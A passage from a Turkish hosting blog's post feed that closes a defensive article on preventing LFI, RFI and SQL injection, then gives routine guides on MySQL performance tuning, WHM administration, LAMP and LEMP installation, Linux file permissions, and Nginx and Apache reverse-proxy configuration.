• WAF ile gelen tüm HTTP istekleri analiz edilerek şüpheli davranışlar otomatik engellenebilir

3. Güncellemelerin Takibi ve Yama Yönetimi

• PHP, MySQL, Apache/Nginx gibi servisler düzenli olarak güncellenmeli
• Yazılım bağımlılıklarında kullanılan kütüphaneler (örneğin Composer paketleri) denetlenmelidir

4. Loglama ve İzleme

• Sunucu erişim logları, PHP hata logları ve veritabanı logları düzenli incelenmelidir
• Şüpheli URL kullanımları, çoklu hatalı oturum açma girişimleri gibi olaylar alarmlanmalıdır

5. Güvenli Kodlama Standartları

• OWASP Top 10 listesine göre güvenli kodlama pratikleri uygulanmalı
• Geliştiricilere periyodik güvenlik eğitimi verilmelidir

Sonuç

LFI, RFI ve SQL Injection gibi yaygın zafiyetler, çoğu zaman basit bir ihmal ya da yetersiz giriş kontrolü nedeniyle büyük güvenlik açıklarına dönüşebilir. Bu zafiyetlerin önlenmesi, yalnızca kodlama düzeyinde değil, aynı zamanda sunucu yapılandırması ve güvenlik politikalarının bütüncül olarak ele alınması ile mümkündür. Web uygulamalarının barındırıldığı altyapı, bu tehditlere karşı her an tetikte olacak şekilde tasarlanmalı ve denetlenmelidir.

LFI, RFI, SQL Injection Gibi Zafiyetlere Karşı Sunucu Güvenliği yazısı ilk önce Cenuta Blog üzerinde ortaya çıktı.

Bu makalede MySQL veritabanlarında performansı artırmak için kullanılabilecek en etkili yöntemler detaylı biçimde ele alınacaktır. Özellikle index (indeks) kullanımı, yavaş sorguların tespiti, veritabanı yapılandırmaları ve optimize edilmiş SQL ifadeleri gibi konulara odaklanılacaktır.

Index Kullanımı Nedir ve Neden Önemlidir?

MySQL’de index, tablo üzerinde arama işlemlerini hızlandırmak için kullanılan veri yapılarıdır. Bir tabloya index eklendiğinde, MySQL belirli sütunlarda yapılan arama, sıralama ve birleştirme işlemlerini çok daha hızlı bir şekilde gerçekleştirir.

Temel Index Türleri

• PRIMARY KEY: Her tabloda yalnızca bir adet olabilir. Benzersiz ve boş olmayan değerleri temsil eder.
• UNIQUE INDEX: Tekrarlayan değerleri engeller, her değerin benzersiz olmasını sağlar.
• FULLTEXT INDEX: Metin arama işlemleri için kullanılır.
• COMPOSITE INDEX: Birden fazla sütunu kapsayan index yapısıdır.

Index Kullanımında Dikkat Edilmesi Gerekenler

• Gereksiz index’ler, yazma (INSERT, UPDATE, DELETE) işlemlerinde performans kaybına yol açar.
• Her sütun için index oluşturmak yerine, sık kullanılan sorgulara göre stratejik index’ler belirlenmelidir.
• EXPLAIN komutu kullanılarak hangi sorguların index kullandığı analiz edilmelidir.

EXPLAIN ile Sorgu Analizi Nasıl Yapılır?

MySQL’de bir sorgunun nasıl yürütüldüğünü analiz etmek için EXPLAIN komutu kullanılır. Bu komut, sorgunun hangi tabloları taradığını, hangi index’leri kullandığını ve sıralama işlemleri yapıp yapmadığını gösterir.

EXPLAIN SELECT * FROM kullanicilar WHERE email = 'ornek@mail.com';

Bu analizle:

• type sütunundan erişim tipi (örneğin ALL, index, range) görülebilir.
• key sütunu, kullanılan index’i gösterir.
• rows sütunu, sorgunun kaç satırı tarayacağını belirtir.

type = ALL değeri, tablo taraması yapıldığını gösterir ve performans açısından kaçınılmalıdır.

SQL Sorgularını Hızlandırma Teknikleri

1. Gereksiz Sütunlardan Kaçının

Tüm sütunları çağıran SELECT * yerine sadece gerekli sütunlar belirtilmelidir.

SELECT ad, soyad FROM kullanicilar WHERE durum = 'aktif';

2. WHERE Şartlarını Doğru Kullanın

Sorgularda WHERE şartları, filtreleme yaparak sorgunun tarayacağı satır sayısını azaltır. Sık kullanılan filtre sütunlarına index eklenmesi önerilir.

3. JOIN Kullanımında Dikkatli Olun

JOIN işlemleri özellikle büyük tablolar üzerinde çalışırken performans sorunlarına neden olabilir.

• Join yapılacak sütunların her iki tabloda da index’li olması önemlidir.
• LEFT JOIN yerine mümkünse INNER JOIN tercih edilmelidir.

4. LIMIT ve OFFSET Kullanımına Dikkat

Büyük veri kümesinde LIMIT 100000 OFFSET 0 gibi sorgular veritabanını zorlayabilir. Bunun yerine “id ile sayfalama” gibi alternatifler tercih edilebilir.

SELECT * FROM kayitlar WHERE id > 100000 LIMIT 100;

5. Alt Sorgular Yerine JOIN Kullanımı

Alt sorgular (subqueries) yerine JOIN ifadeleri daha performanslı çalışabilir.

-- Yavaş Sorgu
SELECT * FROM urunler WHERE kategori_id IN (SELECT id FROM kategoriler WHERE aktif = 1);

-- Daha Hızlı Sorgu
SELECT u.* FROM urunler u JOIN kategoriler k ON u.kategori_id = k.id WHERE k.aktif = 1;

MySQL Yapılandırması ile Performans Artırma

Veritabanı ayarlarının optimize edilmesi performansa doğrudan katkı sağlar. Aşağıda bazı önemli yapılandırmalar yer almaktadır.

1. query_cache_size

Query cache özelliği aktifse, tekrar eden sorgular bellekte saklanarak daha hızlı yanıt verilir. Ancak modern MySQL sürümlerinde bu özellik kaldırılmıştır veya devre dışıdır. MariaDB gibi sistemlerde hâlen kullanılabilir.

2. innodb_buffer_pool_size

InnoDB motoru kullanan sistemlerde bu parametre, veritabanı tablolarının bellekte tutulmasını sağlar. Genellikle fiziksel belleğin %60-70’i kadar ayarlanır.

3. tmp_table_size ve max_heap_table_size

Geçici tablolar bellekte tutuluyorsa daha hızlı işlem yapılır. Bu parametrelerin artırılması, karmaşık sorgularda performansı iyileştirir.

Yavaş Sorgu Logları ile Performans Takibi

MySQL’in yavaş sorgu günlüğü özelliği sayesinde, belirli sürenin üzerinde çalışan SQL ifadeleri kaydedilir. Bu kayıtlar analiz edilerek darboğaz yaratan sorgular tespit edilebilir.

Aktif Etmek İçin:

[mysqld]
slow_query_log = 1
slow_query_log_file = /var/log/mysql-slow.log
long_query_time = 2

Bu yapılandırma ile 2 saniyeden uzun süren tüm sorgular log dosyasına kaydedilecektir.

Veritabanı Normalizasyonu ve Performansa Etkisi

Normalizasyon, veri tekrarını önlerken veri bütünlüğünü sağlar. Ancak aşırı normalizasyon, fazla sayıda JOIN işlemine neden olarak performansı olumsuz etkileyebilir. Kritik uygulamalarda performans ve veri bütünlüğü dengesi kurulmalı, gerekirse denormalizasyon tercih edilmelidir.

Sonuç

MySQL performans optimizasyonu, sadece donanım değil; sorgu yazımı, indeksleme, yapılandırma ve izleme gibi birçok katmanda uygulanması gereken bir süreçtir. Özellikle doğru index kullanımı, EXPLAIN ile analiz, yavaş sorguların tespiti ve sunucu yapılandırmalarının optimize edilmesi gibi adımlar performans üzerinde doğrudan etkili olur.

Yüksek performanslı bir veritabanı yapısı kurmak ve sürdürülebilir hale getirmek için periyodik analizler yapılmalı, sorgular düzenli olarak gözden geçirilmelidir.

MySQL Performans Optimizasyonu Nasıl Yapılır? Index Kullanımı ve Sorgu Hızlandırma Nasıl Yapılır? yazısı ilk önce Cenuta Blog üzerinde ortaya çıktı.

WHM Nedir?

WHM (Web Host Manager), cPanel tarafından geliştirilen bir yönetim panelidir ve genellikle sunucu sahipleri ve bayi (reseller) hosting kullanıcıları tarafından kullanılır. WHM, birden fazla cPanel hesabını yönetme, sunucu yapılandırmalarını düzenleme ve kaynak tahsis etme gibi işlemleri yapabilmeyi sağlar.

WHM’nin Temel Özellikleri

• cPanel Hesap Yönetimi: Yeni cPanel hesapları oluşturma, düzenleme ve silme
• Kaynak Tahsisi: CPU, RAM, bant genişliği ve depolama gibi kaynakları belirleme
• Güvenlik Yönetimi: Güvenlik duvarı kuralları belirleme ve erişim yetkilendirme
• Yedekleme Yönetimi: Sunucu yedeklemelerini planlama ve yönetme
• DNS ve E-posta Yönetimi: Alan adı yapılandırmaları ve e-posta sunucusu yönetimi
• SSL Sertifikaları: SSL kurulumu ve yönetimi

WHM Nasıl Kullanılır?

WHM paneline erişmek ve yönetmek için aşağıdaki adımları takip edebilirsiniz.

1. WHM’ye Giriş Yapma

WHM’ye erişmek için aşağıdaki adımları izleyin:

• Tarayıcınızın adres çubuğuna https://sunucu-ip-adresi:2087 yazın.
• Kullanıcı adı ve şifrenizi girerek oturum açın.
• Başarılı giriş sonrası, WHM ana paneline yönlendirilirsiniz.

2. Yeni cPanel Hesabı Oluşturma

Yeni bir cPanel hesabı oluşturmak için:

• WHM Ana Sayfası > Account Functions > Create a New Account seçeneğine gidin.
• Alan adı, kullanıcı adı, şifre ve kaynak limitlerini belirleyin.
• Create butonuna basarak hesabı oluşturun.

3. Sunucu Kaynak Yönetimi

WHM ile sunucunuzdaki kaynakları yönetebilirsiniz:

• Service Manager üzerinden çalışan servisleri kontrol edebilirsiniz.
• Process Manager ile sistem kaynaklarını takip edebilir ve gerekirse aşırı yük oluşturan işlemleri sonlandırabilirsiniz.
• Tweak Settings bölümünden sunucu yapılandırmalarını düzenleyebilirsiniz.

4. Yedekleme ve Geri Yükleme

WHM, otomatik yedekleme planlamanıza olanak tanır:

• WHM > Backup > Backup Configuration bölümüne gidin.
• Yedekleme sıklığını ve saklanma süresini belirleyin.
• Gerekli yedekleme seçeneklerini işaretleyerek Save Configuration butonuna basın.

5. Güvenlik Önlemleri

Sunucunuzun güvenliğini sağlamak için:

• CSF (ConfigServer Security & Firewall) eklentisini kullanarak güvenlik duvarı kurallarını yönetin.
• ModSecurity etkinleştirerek web uygulamalarınızı saldırılara karşı koruyun.
• Two-Factor Authentication (2FA) ile WHM girişlerini daha güvenli hale getirin.

6. DNS ve Alan Adı Yönetimi

WHM üzerinden DNS kayıtlarını yapılandırabilirsiniz:

• WHM > Edit DNS Zone sekmesine girin.
• Alan adınızı seçerek gerekli A, MX, CNAME ve TXT kayıtlarını düzenleyin.

7. SSL Sertifikası Kurulumu

SSL sertifikası yüklemek için:

• WHM > SSL/TLS > Install an SSL Certificate on a Domain bölümüne girin.
• Alan adını seçin ve SSL sertifika bilgilerini girin.
• Install butonuna basarak kurulumu tamamlayın.

WHM Kullanmanın Avantajları

• Kolay Yönetim: Kullanıcı dostu arayüzü ile sunucu yönetimini basitleştirir.
• Özelleştirme: Sunucu ayarlarını ihtiyaca göre özelleştirme imkanı sunar.
• Güvenlik: Gelişmiş güvenlik ayarları ile sunucunuzu koruma altına alır.
• Otomatik Yedekleme: Veri kaybını önlemek için düzenli yedekleme yapma olanağı sunar.

Sonuç

WHM, web hosting yönetimi konusunda en güçlü araçlardan biridir ve hem bayi hosting kullanıcıları hem de sunucu yöneticileri için kapsamlı bir çözüm sunar. Bu rehberde, WHM’nin temel özellikleri, kullanımı ve sunucu yönetimi için sağladığı avantajlar ele alınmıştır. Sunucunuzu daha verimli yönetmek için WHM’yi doğru şekilde kullanmanız büyük önem taşımaktadır.

WHM Nedir ve Nasıl Kullanılır? WHM ile Sunucu Yönetimi Rehberi yazısı ilk önce Cenuta Blog üzerinde ortaya çıktı.

Bu makalede LAMP ve LEMP stack’lerinin ne olduğu, nasıl çalıştıkları, kurulum adımları ve aralarındaki temel farklar ele alınacaktır.

LAMP ve LEMP Stack Nedir

LAMP ve LEMP stack, Linux işletim sistemi üzerinde çalışan açık kaynaklı web sunucu ortamlarını ifade eder.

• LAMP (Linux, Apache, MySQL, PHP)
  • Linux: İşletim sistemi olarak kullanılır.
  • Apache: Web sunucusu görevi görür.
  • MySQL: Veritabanı yönetim sistemidir.
  • PHP: Sunucu tarafında çalışan programlama dilidir.
• LEMP (Linux, Nginx, MySQL/MariaDB, PHP/Python/Perl)
  • Linux: İşletim sistemidir.
  • Nginx: Web sunucusudur. Apache’ye göre daha yüksek performans sunar.
  • MySQL veya MariaDB: Veritabanı yönetim sistemi olarak kullanılır.
  • PHP, Python veya Perl: Sunucu tarafında çalışan programlama dilleri kullanılabilir.

Her iki yapı da benzer bileşenlere sahiptir, ancak en büyük fark web sunucusu bileşenidir. LAMP, Apache’yi kullanırken, LEMP Nginx’i kullanır.

LAMP Stack Kurulumu

LAMP kurulumu, Linux terminalinde aşağıdaki adımlar izlenerek gerçekleştirilir.

1. Apache Web Sunucusunu Kurma

Ubuntu veya Debian tabanlı bir sistemde Apache’yi yüklemek için:

sudo apt update
sudo apt install apache2 -y

Kurulum tamamlandıktan sonra Apache’yi başlatın ve sistem başlangıcına ekleyin:

sudo systemctl start apache2
sudo systemctl enable apache2

Tarayıcıda http://sunucu-ip-adresi adresini ziyaret ederek Apache’nin çalıştığını doğrulayabilirsiniz.

2. MySQL Veritabanını Kurma

sudo apt install mysql-server -y

MySQL güvenlik yapılandırmasını başlatın:

sudo mysql_secure_installation

Burada root şifresi belirleyebilir ve gereksiz varsayılan hesapları kaldırabilirsiniz.

3. PHP Kurulumu

Apache ile PHP’yi çalıştırmak için:

sudo apt install php libapache2-mod-php php-mysql -y

PHP sürümünü kontrol etmek için:

php -v

Sunucunun PHP dosyalarını işleyip işlemediğini görmek için /var/www/html/ dizinine info.php adında bir dosya oluşturun ve içine şu satırları ekleyin:

<?php
phpinfo();
?>

Tarayıcıda http://sunucu-ip-adresi/info.php adresini ziyaret ederek PHP’nin çalıştığını doğrulayabilirsiniz.

LEMP Stack Kurulumu

LEMP kurulumu, LAMP’e benzer ancak Apache yerine Nginx kullanılır.

1. Nginx Web Sunucusunu Kurma

sudo apt update
sudo apt install nginx -y

Nginx’i başlatın ve sistem başlangıcına ekleyin:

sudo systemctl start nginx
sudo systemctl enable nginx

Tarayıcıda http://sunucu-ip-adresi adresine giderek Nginx’in çalıştığını doğrulayabilirsiniz.

2. MySQL veya MariaDB Kurulumu

sudo apt install mysql-server -y

MariaDB kullanmak isterseniz:

sudo apt install mariadb-server -y

Güvenlik yapılandırmasını başlatın:

sudo mysql_secure_installation

Veritabanı bağlantısını test etmek için MySQL’e giriş yapın:

sudo mysql -u root -p

3. PHP-FPM Kurulumu

Nginx, PHP-FPM (FastCGI Process Manager) kullanır:

sudo apt install php-fpm php-mysql -y

Nginx’in PHP-FPM ile çalışabilmesi için /etc/nginx/sites-available/default dosyasını düzenleyerek PHP-FPM desteğini etkinleştirin.

LAMP ve LEMP Karşılaştırması

Hangi Stack Kullanılmalı

• LAMP, küçük ve orta ölçekli web projeleri için uygundur. Apache’nin esnekliği ve geniş modül desteği nedeniyle birçok uygulama için tercih edilir.
• LEMP, yüksek trafikli web siteleri, CDN hizmetleri ve ters proxy (reverse proxy) gerektiren projelerde daha iyi performans sunar.

Eğer bir WordPress veya Joomla gibi CMS kullanıyorsanız LAMP yeterli olabilir. Ancak yoğun trafik alan bir web sitesi veya API sunucusu çalıştırıyorsanız LEMP daha iyi bir seçim olacaktır.

Sonuç

LAMP ve LEMP, Linux üzerinde web sunucusu çalıştırmak için en yaygın kullanılan çözümlerden ikisidir. LAMP, geleneksel ve esnek bir yapı sunarken, LEMP daha hafif ve hızlı bir alternatif olarak öne çıkar. İhtiyacınıza bağlı olarak uygun stack’i seçerek verimli bir web sunucu ortamı oluşturabilirsiniz.

LAMP ve LEMP Stack Nedir? Linux Web Sunucusu Kurulumu ve Karşılaştırması yazısı ilk önce Cenuta Blog üzerinde ortaya çıktı.

Bu makalede, Linux’ta izin sisteminin nasıl çalıştığını, chmod ve chown komutlarının nasıl kullanıldığını ve sistem güvenliği açısından neden önemli olduğunu detaylı bir şekilde ele alacağız.

Linux Permission (İzin) Sistemi Nedir?

Linux’ta her dosya ve dizin, belirli bir sahiplik ve izin sistemine sahiptir. Bu sistem, kullanıcılar (users), gruplar (groups) ve diğerleri (others) olmak üzere üç ana kategoriye ayrılır.

1. Kullanıcı Kategorileri

• Owner (Sahip): Dosyayı veya dizini oluşturan kullanıcıdır. Sahip, bu dosya üzerinde geniş yetkilere sahiptir.
• Group (Grup): Sahibin dahil olduğu kullanıcı grubudur. Grup üyeleri, sahip kadar olmasa da belirli yetkilere sahip olabilir.
• Others (Diğerleri): Sahip ve gruba ait olmayan tüm diğer kullanıcılardır.

2. İzin Türleri

Linux’ta her dosya ve dizin için üç temel izin türü bulunur:

• r (read – okuma): Dosyanın içeriğini okuma yetkisi
• w (write – yazma): Dosyanın içeriğini değiştirme veya dizine yeni dosya ekleme yetkisi
• x (execute – çalıştırma): Dosyanın çalıştırılabilir bir program olup olmadığına karar veren izin

Bir dosyanın izinleri, ls -l komutu ile görüntülenebilir:

ls -l dosya.txt

Örnek çıktı:

-rw-r--r--  1 kullanici grup  1234 Mar 14 12:00 dosya.txt

Bu çıktıda,

• rw- sahibin (owner) okuma ve yazma iznine sahip olduğunu,
• r-- grubun yalnızca okuma iznine sahip olduğunu,
• r-- diğer kullanıcıların da yalnızca okuma iznine sahip olduğunu gösterir.

chmod Komutu ile İzin Değiştirme

chmod komutu, bir dosya veya dizinin erişim izinlerini değiştirmek için kullanılır. chmod ile izinleri değiştirmek için iki farklı yöntem vardır:

1. Sayısal (Oktal) Yöntem

Linux izinleri, üçlü gruplar halinde 0 ile 7 arasında değişen sayılarla ifade edilir:

• 4 = Okuma (r)
• 2 = Yazma (w)
• 1 = Çalıştırma (x)
• 0 = İzin yok

İzinler şu şekilde hesaplanır:

Örnek:
Bir dosyaya sahip için tam yetki (rwx = 7), grup için okuma-yazma (rw- = 6), diğerleri için yalnızca okuma (r– = 4) yetkisi vermek için:

chmod 764 dosya.txt

Bu komut, izinleri şu hale getirir: -rwxrw-r--

2. Sembolik (Harf) Yöntemi

Dosya izinlerini kullanıcı kategorilerine göre değiştirmek için u (owner), g (group) ve o (others) sembolleri kullanılır.

Örnek:
Bir dosyaya sahip için çalıştırma yetkisi eklemek:

chmod u+x dosya.txt

Grup için okuma yetkisini kaldırmak:

chmod g-r dosya.txt

chown Komutu ile Sahiplik Değiştirme

chown komutu, bir dosya veya dizinin sahibini değiştirmek için kullanılır.

Temel Kullanım:

chown yeni_sahip dosya.txt

Bu komut, dosyanın sahibini değiştirir.

Grubu Değiştirmek İçin:

chown :yeni_grup dosya.txt

Bu komut, dosyanın yalnızca grup sahipliğini değiştirir.

Sahip ve Grubu Birlikte Değiştirmek İçin:

chown yeni_sahip:yeni_grup dosya.txt

Tüm Dizini ve İçindekileri Kapsayacak Şekilde Değiştirmek İçin:

chown -R yeni_sahip:yeni_grup dizin/

-R parametresi, dizinin içindeki tüm dosya ve alt dizinleri de kapsar.

chmod ve chown ile Güvenlik Önlemleri

Linux sistem güvenliğinde izinler önemli bir rol oynar. İşte dikkat edilmesi gereken bazı noktalar:

1. 777 İzni Vermeyin: chmod 777 dosya.txt Bu, herkesin dosyayı okuma, yazma ve çalıştırma yetkisine sahip olmasına neden olur, güvenlik açığı oluşturur.
2. Önemli Dosyalara Yalnızca Sahip Yetki Versin: chmod 600 önemli_dosya.txt Bu, yalnızca dosyanın sahibinin okuma ve yazma yetkisine sahip olmasını sağlar.
3. Kritik Sistem Dosyalarının Sahipliği Değiştirilmemeli
   Yanlışlıkla /etc/passwd veya /etc/shadow gibi sistem dosyalarının sahipliğini değiştirmek, sistemin çalışmasını bozabilir.

Sonuç

Linux’un izin yönetimi, sistemin güvenliğini ve kullanıcı erişim kontrolünü sağlamak için kritik bir bileşendir. chmod komutu ile dosya ve dizinlerin erişim izinleri düzenlenebilirken, chown komutu ile sahiplik değiştirilebilir. Güçlü bir güvenlik politikası oluşturmak için bu komutların bilinçli bir şekilde kullanılması gerekir.

Eğer bir Linux sunucu yönetiyorsanız, dosya ve dizin izinlerini dikkatlice yapılandırarak güvenliği artırabilirsiniz.

Linux Permission (İzin) Sistemi Nedir? chmod ve chown Komutları ile Yetkilendirme yazısı ilk önce Cenuta Blog üzerinde ortaya çıktı.

Reverse Proxy Nedir?

Reverse proxy, istemcilerden gelen HTTP ve HTTPS isteklerini alıp, bunları arka uçtaki sunuculara ileten bir ara sunucudur. Gelen yanıtlar, reverse proxy tarafından istemciye geri gönderilir. Reverse proxy’nin temel işlevleri şunlardır:

• Yük Dengeleme: Trafiği birden fazla sunucuya bölerek daha verimli çalışmasını sağlar.
• Önbellekleme (Caching): Statik içerikleri önbelleğe alarak performansı artırır.
• Güvenlik: IP adreslerini gizleyerek ve DDoS saldırılarını önleyerek güvenliği artırır.
• SSL Sonlandırma: HTTPS isteklerini işleyerek sunucu üzerindeki yükü hafifletir.

Nginx ile Reverse Proxy Kurulumu

Nginx, yüksek performanslı bir web sunucusu ve reverse proxy olarak yaygın şekilde kullanılır. Nginx’i reverse proxy olarak kullanmak için aşağıdaki adımları takip edebilirsiniz.

1. Nginx Kurulumu

Öncelikle, Nginx’in sisteminize kurulu olup olmadığını kontrol edin. Kurulu değilse, şu komutlarla yükleyebilirsiniz:

Ubuntu/Debian:

sudo apt update
sudo apt install nginx -y

CentOS/RHEL:

sudo yum install epel-release -y
sudo yum install nginx -y

2. Reverse Proxy Yapılandırması

Nginx konfigürasyon dosyanızı düzenleyerek reverse proxy olarak çalışmasını sağlayabilirsiniz.

sudo nano /etc/nginx/sites-available/default

Aşağıdaki konfigürasyonu ekleyin:

server {
    listen 80;
    server_name example.com;

    location / {
        proxy_pass http://192.168.1.100:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

Bu yapılandırma, gelen HTTP isteklerini 192.168.1.100 IP adresindeki 8080 portuna yönlendirecektir.

3. Nginx’i Yeniden Başlatma

Yapılandırma değişikliklerini uygulamak için Nginx’i yeniden başlatın:

sudo systemctl restart nginx

Apache ile Reverse Proxy Kurulumu

Apache de reverse proxy olarak kullanılabilir. Apache üzerinde reverse proxy yapılandırmak için aşağıdaki adımları takip edebilirsiniz.

1. Apache Kurulumu

Eğer Apache sunucunuz yoksa, aşağıdaki komutlarla yükleyebilirsiniz:

Ubuntu/Debian:

sudo apt update
sudo apt install apache2 -y

CentOS/RHEL:

sudo yum install httpd -y

2. Gerekli Modülleri Etkinleştirme

Apache’yi reverse proxy olarak kullanabilmek için aşağıdaki modülleri etkinleştirin:

sudo a2enmod proxy
sudo a2enmod proxy_http

3. Reverse Proxy Yapılandırması

Apache konfigürasyon dosyanızı düzenleyerek reverse proxy ayarlarını yapın:

sudo nano /etc/apache2/sites-available/000-default.conf

Aşağıdaki satırları ekleyin:

<VirtualHost *:80>
    ServerName example.com

    ProxyPass / http://192.168.1.100:8080/
    ProxyPassReverse / http://192.168.1.100:8080/
</VirtualHost>

Bu yapılandırma, gelen HTTP isteklerini belirtilen IP adresine yönlendirecektir.

4. Apache’yi Yeniden Başlatma

Değişiklikleri uygulamak için Apache’yi yeniden başlatın:

sudo systemctl restart apache2

Reverse Proxy Kullanmanın Avantajları

Reverse proxy kullanmanın bazı temel avantajları şunlardır:

• Güvenlik: Sunucu IP adreslerini gizleyerek saldırılara karşı koruma sağlar.
• Performans: Önbellekleme ve yük dengeleme ile daha hızlı yanıt süreleri sunar.
• SSL Yönetimi: SSL sonlandırma işlemlerini yöneterek sunucu yükünü azaltır.
• Trafik Yönlendirme: Gelen istekleri farklı arka uç sunucularına yönlendirerek esneklik sağlar.

Sonuç

Reverse proxy, özellikle büyük ölçekli web uygulamalarında performansı artırmak ve güvenliği sağlamak için kritik bir bileşendir. Nginx ve Apache gibi popüler web sunucularını reverse proxy olarak yapılandırarak yük dengeleme, önbellekleme ve güvenlik avantajlarından faydalanabilirsiniz. Bu rehberde, reverse proxy’nin ne olduğunu, nasıl çalıştığını ve Nginx ve Apache ile nasıl yapılandırılacağını detaylı bir şekilde ele aldık.

Reverse Proxy Nedir? Nginx ve Apache ile Reverse Proxy Kurulumu yazısı ilk önce Cenuta Blog üzerinde ortaya çıktı.